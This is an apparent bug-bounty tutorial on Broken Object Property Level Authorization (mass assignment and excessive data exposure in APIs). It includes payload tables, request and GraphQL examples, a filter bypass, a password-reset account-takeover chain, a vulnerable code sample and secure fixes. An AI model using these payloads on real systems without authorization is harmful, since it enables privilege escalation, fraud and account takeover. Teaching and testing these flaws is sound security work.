BOPLA β
Broken Object Property Level Authorization
BOPLA covers two attack surfaces: Mass Assignment (writing privileged fields the server shouldn’t accept) and Excessive Data Exposure (reading sensitive fields the API shouldn’t return). One of the most impactful and commonly missed API vulnerabilities in bug bounty.
π What is BOPLA?
BOPLA β Broken Object Property Level Authorization is OWASP API Security Top 10 2023’s API3 entry. It replaces the two separate 2019 entries (Excessive Data Exposure and Mass Assignment) by combining them into one category: the API fails to restrict which object properties a user can read or write.
BOPLA β Mass Assignment (write unauthorized fields) + Excessive Data Exposure (read unauthorized fields)
BOPLA has two attack directions. WRITE (Mass Assignment): you send privileged fields in a request body that the server should reject but doesn’t β role=admin, balance=999999. READ (Excessive Exposure): the server returns fields you should never see β password_hash, 2fa_secret, password_reset_token.
β‘ Two Attack Surfaces of BOPLA
role=admin in request bodypassword_hash you shouldn’t seeMass Assignment β How It Works
# Normal registration: POST /api/register {"name": "Dev", "email": "dev@test.com", "password": "test"} # BOPLA β add privileged fields: POST /api/register { "name": "Dev", "email": "dev@test.com", "password": "test", "role": "admin", β injected "isAdmin": true, β injected "balance": 999999, β injected "is_verified": true β injected } # Verify: GET /api/me # β {"role":"admin","balance":999999,"is_verified":true}
Excessive Data Exposure β How It Works
# UI shows: Name + Email only # API actually returns (check in Burp): GET /api/me β { "name": "Dev", "email": "dev@test.com", "password_hash": "$2b$10$abc...xyz", β CRITICAL "password_reset_token": "abc123def", β CRITICAL β account takeover! "2fa_secret": "JBSWY3DPEHPK3PXP", β CRITICAL β bypass MFA! "api_key": "sk-live-xxxxx", β CRITICAL "is_admin": false β HIGH β admin flag exposed }
π BOPLA β Quick Reference Table
| Field | Details |
|---|---|
| Vulnerability | BOPLA β Broken Object Property Level Authorization |
| Also Known As | Mass Assignment, Excessive Data Exposure, Over-Posting, Auto-Binding, Object Property Injection |
| OWASP | API3:2023 β Broken Object Property Level Authorization |
| CVE Score | 5.0 β 9.8 |
| Severity | Medium β Critical (role=admin or reset token leak = Critical) |
| Root Cause (Write) | No input allowlist β framework auto-binds all request fields to DB model |
| Root Cause (Read) | No output filter β returns full DB model instead of curated DTO/serializer |
| Where to Check | POST /api/register, PUT/PATCH /api/profile, all GET response bodies, GraphQL |
| Best Tools | Burp Suite, Arjun, ParamMiner, curl, Python requests, Autorize |
| Practice Labs | crAPI (OWASP Vulnerable API β best for BOPLA), PortSwigger, VAmPI, HackTheBox |
| Difficulty | BeginnerβIntermediate (Mass Assignment) | Intermediate (Exposure chaining) |
| Key Rule | Always call GET /api/me AFTER write test β a 200 alone is not confirmation |
| Related Vulns | Backend Authorization Missing, Sensitive Information Disclosure, Vertical Privilege Escalation |
π Mass Assignment β Payload Reference Table
Test every one of these fields on every POST, PUT, and PATCH endpoint. Add them all at once in the request body and verify via GET /api/me.
| Field to Inject | Value | What Happens if Saved | Severity |
|---|---|---|---|
| role | “admin” | Self-promote to admin role | CRITICAL |
| isAdmin | true | Admin flag set directly | CRITICAL |
| admin | true | Alternative admin field name | CRITICAL |
| balance | 999999 | Infinite credits or money | CRITICAL |
| credits | 99999 | Free premium credits | CRITICAL |
| access_level | 99 | Numeric privilege escalation | CRITICAL |
| is_verified | true | Skip email verification | HIGH |
| email_verified | true | Alternative verified field | HIGH |
| subscription | “enterprise” | Free plan upgrade | HIGH |
| plan | “premium” | Free premium plan | HIGH |
| discount | 100 | 100% discount on purchases | HIGH |
| price | 0 | Make any purchase free | HIGH |
π§ Manual Testing for BOPLA
Phase 1 β Mass Assignment (Write)
role=admin, isAdmin=true, balance=999999, is_verified=true to every request body alongside normal fields.GET /api/me and check if the injected field appears in the response with your value. Also check for behaviour change (admin menu, free credits, verified badge).# Step 1: Normal profile update (baseline) PATCH /api/profile {"name": "Dev", "bio": "Researcher"} # Step 2: BOPLA β add privileged fields PATCH /api/profile { "name": "Dev", "bio": "Researcher", "role": "admin", "isAdmin": true, "balance": 999999, "is_verified": true } # Step 3: Verify persistence GET /api/me # VULNERABLE: {"role":"admin","balance":999999,"is_verified":true} # SECURE: {"name":"Dev","bio":"Researcher"} β extra fields ignored # Step 4: Confirm privilege escalation GET /api/admin/users # 200 OK = role=admin was saved and works
Phase 2 β Excessive Data Exposure (Read)
password, hash, token, secret, key, 2fa, admin, internal.GET /api/users (list) almost always exposes more fields than GET /api/users/1 (single item). List endpoints often return the full model for all users.# Single user β may filter properly GET /api/users/1001 β {name, email} # List endpoint β often dumps ALL fields for ALL users GET /api/users β [ {name, email, password_hash, reset_token, 2fa_secret, role}, {name, email, password_hash, reset_token, 2fa_secret, role}, ...thousands of users ] # All users' sensitive data exposed = mass data breach = CRITICAL
Phase 3 β GraphQL BOPLA
# Step 1: Introspect schema β find hidden fields { __schema { types { name fields { name } } } } # Step 2: Request hidden sensitive fields query { me { id email passwordHash β add β does it return? passwordResetToken β add β does it return? twoFaSecret β add β does it return? } } # Step 3: Mass assignment via mutation mutation { updateProfile(input: {name: "Dev", role: ADMIN, balance: 999999}) { success } }
π€ Best Tools for BOPLA Testing
HTTP History β Ctrl+F β search "password", "token", "secret"
arjun -u URL -m POST --stable
Right-click β Param Miner β Guess JSON body params
BApp Store β Autorize β paste admin cookie
curl -X PATCH URL -d '{"role":"admin"}' -H "Auth: Bearer T"
requests.patch(url, json={"role":"admin"}, headers=h)
π₯ Burp Suite β BOPLA Guide
"role":"admin", "isAdmin":true, "balance":999999 to JSON body β Send β GET /api/me to verify.password, hash, token, secret, 2fa, api_key. Each hit = inspect full response.π£ Advanced BOPLA Techniques
Nested Object Mass Assignment β Bypass Flat Field Filters
# Flat filter blocks: {"role": "admin"} # Nested object may bypass it: { "name": "Dev", "user": {"role": "admin", "isAdmin": true}, "profile": {"subscription": "enterprise"}, "settings": {"access_level": 99} }
Read Admin Response β Use Fields in Write Request
# Step 1: Find endpoint leaking admin user data GET /api/users/1 β {name:'Admin', role:'admin', permissions:['all']} # Step 2: Copy exact field structure # Step 3: Send those fields in your own update PATCH /api/profile {"role": "admin", "permissions": ["all"], "access_level": 99}
Excessive Exposure β Account Takeover Chain
# Step 1: Find user list endpoint leaking reset tokens GET /api/users β [ {email:"victim@test.com", password_reset_token:"abc123def"}, ... ] # Step 2: Use token to reset victim's password POST /api/password/reset {"token": "abc123def", "new_password": "hacked123"} # Excessive Exposure (BOPLA READ) β Account Takeover # Severity: CRITICAL with $5,000β$15,000 bounty potential
π οΈ Framework Secure Fix Reference
| Framework | Vulnerable Pattern | Secure Fix |
|---|---|---|
| Laravel | User.update(req.all()) | protected $fillable = [‘name’,’email’]; |
| Rails | User.update(params[:user]) | params.require(:user).permit(:name,:email) |
| Django | fields = ‘__all__’ in Serializer | fields = [‘name’,’email’] in Serializer |
| Spring | @RequestBody User (full entity) | @RequestBody UserDTO (separate DTO class) |
| Node/JS | User.update(req.body) | User.update(pick(req.body,[‘name’,’email’])) |
| FastAPI | Full model accepting all from request | Separate Pydantic schemas for input vs output |
| Go | json.Unmarshal into full struct | Unmarshal into strict input struct only |
π Real BOPLA Bug Chains
π‘οΈ Defense Against BOPLA
WRITE: Use explicit allowlists (DTOs / $fillable / permit()) β never bind req.body directly to DB model. READ: Use response serializers with field whitelists β never return the full DB model object. Separate your input schema from your output schema.
// VULNERABLE β binds ALL fields from request to DB app.patch('/api/profile', async (req, res) => { await User.update(req.body) β DANGEROUS }) // SECURE β whitelist only allowed fields const pick = (obj, keys) => keys.reduce((acc, k) => { if (obj[k] !== undefined) acc[k] = obj[k]; return acc; }, {}); app.patch('/api/profile', async (req, res) => { const allowed = pick(req.body, ['name', 'bio', 'avatar']) await User.update(allowed) β SAFE β only whitelisted fields })
β WRITE: Use $fillable / permit() / fields= / DTOs β explicit allowlists only
β READ: Use response serializers β never return full ORM model object
β Separate READ schema and WRITE schema β different validation rules
β Never use fields=’__all__’ in Django serializers
β GraphQL: use field-level authorization on every resolver
β Run automated tests: send privileged fields β verify they are rejected
β List endpoints need stricter filtering than single-item endpoints
π OWASP API3:2023 β BOPLA Official Docs
π crAPI β OWASP Vulnerable API Lab (best BOPLA practice)
π PortSwigger β API Testing and Mass Assignment Labs
π Arjun β HTTP Parameter Discovery Tool
π Backend Authorization Missing Guide
π Sensitive Information Disclosure Guide
π Vertical Privilege Escalation Guide
π IDOR β Insecure Direct Object Reference
π§ Key Takeaways β BOPLA
- BOPLA = the API does not control which properties you can write (Mass Assignment) or read (Excessive Exposure)
- Test ALL POST/PUT/PATCH endpoints β add role, isAdmin, balance, is_verified to EVERY request body
- A 200 response is NOT confirmation β always call GET /api/me after write to verify field persistence
- List endpoints (/api/users) expose more fields than single-item endpoints (/api/users/1) β test both
- GraphQL is highest risk β introspection reveals all fields, mutations accept all inputs by default
- Nested objects bypass flat-field filters β always test
{"user":{"role":"admin"}}patterns - Never report Excessive Exposure alone β chain it: leaked reset_token β show account takeover
- Framework defaults are dangerous β all major ORMs auto-bind ALL fields unless explicitly restricted
- Django
fields='__all__'in serializers is one of the most dangerous defaults in web development - The GitHub 2012 bug was BOPLA β one POST request gave write access to any organization on GitHub
Egor Homakov found that GitHub’s mass assignment flaw allowed adding an SSH key to any GitHub organization by sending extra fields in a single API POST request. No admin rights. No social engineering. Just one extra field in the request body. Fixed within hours. Made mass assignment famous. This is BOPLA at Critical scale β and the exact vulnerability OWASP named this category after.

